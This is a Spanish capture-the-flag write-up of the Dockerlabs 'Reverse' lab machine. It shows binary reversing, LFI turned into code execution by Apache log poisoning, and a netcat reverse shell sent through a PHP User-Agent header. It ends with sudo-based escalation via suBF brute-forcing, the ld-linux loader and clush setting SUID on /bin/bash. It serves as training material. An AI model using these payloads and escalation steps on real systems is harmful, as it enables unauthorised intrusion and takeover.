Reverse Dockerlabs
Máquina Reverse de Dockerlabs [Dificultad media]
Introduction
N/A
Machine Description
- Name: Reverse
- Goal: Get two flags
- Difficulty: Medium
- Operating System: Linux
- link: Reverse
PDF Link
- PDF: Link to PDF
Reconocimiento
Comenzamos con el siguiente escaneo de nmap
para sacar los puertos y versiones corriendo en estos:
1
2
3
4
5
6
7
8
9
10
11
12
13
nmap -sSCV --min-rate=5000 -Pn -n -p- 172.17.0.2 -oN Nmap.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-02 09:33 CEST
Nmap scan report for 172.17.0.2
Host is up (0.0000020s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: P\xC3\xA1gina Interactiva
|_http-server-header: Apache/2.4.62 (Debian)
MAC Address: 46:E9:C8:5F:D9:B0 (Unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.80 seconds
Nmap nos reporta únicamente el puerto 80(http) abierto por lo que vamos a echar un vistazo:
En la código de la web veo la llamada a un js por lo que voy ver si puede estar interesante:
Este js lo que hace es reporta lo que parece un directorio secreto cuando hacemos 20 clicks:
En el directorio secreto existe un fichero llamado secret
Me lo descargo y el un ejecutable:
1
2
file secret
secret: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=387271a4e7dae83df80c4ca4453a3163c48d834f, for GNU/Linux 3.2.0, not stripped
Al parecer tenemos que proporcionar la contraseña correcta:
1
2
3
4
5
./secret
Introduzca la contraseña: test
Recibido...
Comprobando...
Contraseña incorrecta...
Probe con ltrace
y radare2
pero nada por lo que pase a ghidra
.
En ghidra
, en el main() del programa encontré una función llamada containsRequeresChars donde esta la contraseña descompuesta:
Probamos y… :
1
2
3
4
5
6
./secret
Introduzca la contraseña: @MiS3cRetd00m
Recibido...
Comprobando...
Contraseña correcta, mensaje secreto:
ZzAwZGowYi5yZXZlcnNlLmRsCg==
El programa nos reporta este string en base 64:
1
2
echo "ZzAwZGowYi5yZXZlcnNlLmRsCg==" | base64 -d
g00dj0b.reverse.dl
Tiene pinta de ser un dominio por lo que lo apunto en el /etc/host
Ahora tenemos la siguiente web:
Vemos que hay un parámetro que apunta a un archivo por lo que vamos a probar LFI
Hay LFI. Entonces para pasar LFI a RCE podemos probar con LOG Poisioning.
Explotación
Accedemos a /var/log/apache2/access.log
Hacemos la siguiente petición para probar que cuando recarguemos la página se interprete el código php:
1
❯ curl -s -X GET 'http://g00dj0b.reverse.dl' -H "User-Agent:<?php system('whoami'); ?>"
Nos muestra el usuario por lo que es vulnerable a LOG Poisioning.
Ahora ejecutamos el siguiente comando para obtener una bash por nc
:
1
curl -s -X GET 'http://g00dj0b.reverse.dl' -H "User-Agent:<?php system('nc 172.17.0.1 4444 -e /bin/bash'); ?>"
Nos ponemos a la escucha y recargamos:
1
2
❯ nc -nlvp 4444
Connection from 172.17.0.2:58926
Escalada
Una vez dentro, tenemos 2 usuarios y root:
1
2
3
4
cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
maci:x:1000:1000:macimo,,,:/home/maci:/bin/bash
nova:x:1001:1001:nova,,,:/home/nova:/bin/bash
Como www_data podemos ejecutar /opt/password_nova como el usuario nova:
1
2
3
4
5
6
7
8
9
sudo -l
Matching Defaults entries for www-data on 8a2a93c39823:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User www-data may run the following commands on 8a2a93c39823:
(nova : nova) NOPASSWD: /opt/password_nova
┌──[www-data@8a2a93c39823]─[/var/www/subdominio]
Al ejecutarlo nos chiva que la contraseña se encuentra en el rockyou por lo que tenemos que hacer bruteforece.
1
2
sudo -u nova /opt/password_nova
Escribe la contraseña (Pista: se encuentra en el rockyou ;) ):
Me descargo suBF en la máquina víctima:
1
wget https://raw.githubusercontent.com/carlospolop/su-bruteforce/refs/heads/master/suBF.sh
Ahora me traspaso el rockyou:
chmod +x
a suBF y ejecutamos:
1
2
3
./suBF.sh -u nova -w ./rockyou.txt
[+] Bruteforcing nova...
Wordlist exhausted
Aquí me tardaba mucho por lo que tuve que acudir al writeup ya que me estaba frustrando, la contraseña es BlueSky_42!NeonPineapple
Ahora como nova podemos ejecutar /lib64/ld-linux-x86-64.so.2 como maci
1
2
3
4
5
6
7
8
sudo -l
Matching Defaults entries for nova on 8a2a93c39823:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User nova may run the following commands on 8a2a93c39823:
(maci : maci) NOPASSWD: /lib64/ld-linux-x86-64.so.2
Ejecuto lo siguiente para la escalada:
1
2
3
sudo -u maci /lib64/ld-linux-x86-64.so.2 /bin/bash
id
uid=1000(maci) gid=1000(maci) groups=1000(maci),100(users)
Ahora como maci podemos ejecutar clush como root:
1
2
3
4
5
6
7
8
9
sudo -l
Matching Defaults entries for maci on 8a2a93c39823:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User maci may run the following commands on 8a2a93c39823:
(ALL : ALL) NOPASSWD: /usr/bin/clush
Para la escalada he visto este manual:
https://linux.die.net/man/1/clush
1
2
3
4
5
6
7
8
9
sudo /usr/bin/clush -w node[11-14] -b
Enter 'quit' to leave this interactive mode
Working with nodes: node[11-14]
clush> !id
!id
LOCAL: uid=0(root) gid=0(root) groups=0(root)
clush> ! chmod +s /bin/bash
! chmod +s /bin/bash
clush> exit
Le damos SUID a la /bin/bash
1
2
3
4
5
6
7
8
ls -l /bin/bash
-rwsr-sr-x 1 root root 1265648 Mar 29 2024 /bin/bash
┌──[maci@8a2a93c39823]─[/var/www/subdominio]
└──╼ $ /bin/bash -p
/bin/bash -p
bash-5.2# whoami
whoami
root
Y somos root.